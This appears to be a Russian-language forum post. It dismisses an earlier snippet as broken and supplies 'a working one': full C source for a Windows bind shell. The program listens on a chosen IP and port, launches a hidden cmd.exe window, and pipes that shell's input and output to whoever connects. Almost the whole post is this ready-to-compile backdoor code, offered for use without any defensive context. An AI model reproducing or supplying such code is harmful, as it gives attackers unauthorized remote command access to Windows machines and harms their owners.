Нифига он не работает.
Вот нормальный рабочий:
Код:
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
#define BUFFSIZE 1024 * 5
int main(int argc,char *argv[])
{
WSADATA wsa;
SOCKET listenSock,clientSock;
char ip[16] = {0};
char buff[BUFFSIZE] = {0};
int ret,port;
if( argc != 3 )
{
printf( "shell\tListenIP\tListenPort\n" );
return 0;
}
WSAStartup(MAKEWORD(2,2),&wsa);
if( strlen(argv[1]) >= 16 ) return 0;
strcpy( ip , argv[1] );
port = atoi(argv[2]);
listenSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in sin;
memset( &sin,0,sizeof(sin) );
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(ip);
bind( listenSock,(struct sockaddr*)&sin,sizeof(sin) );
listen( listenSock , 3 );
int clientSize = sizeof(sin);
clientSock = accept( listenSock,(struct sockaddr*)&sin,&clientSize );
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory( &si,sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
//si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientSock;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&ProcessInformation,sizeof(ProcessInformation));
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1)
{
memset( buff,0,BUFFSIZE );
ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,0,0);
int i;
for(i = 0; i < 5 && lBytesRead == 0; i++)
{
Sleep(50);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,NULL,NULL);
}
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
if( !ret ) break;
ret=send(clientSock,buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(clientSock,buff,BUFFSIZE,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
//WaitForSingleObject( ProcessInformation.hProcess , INFINITE );
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
closesocket(clientSock);
closesocket(listenSock);
WSACleanup();
return 0;
}
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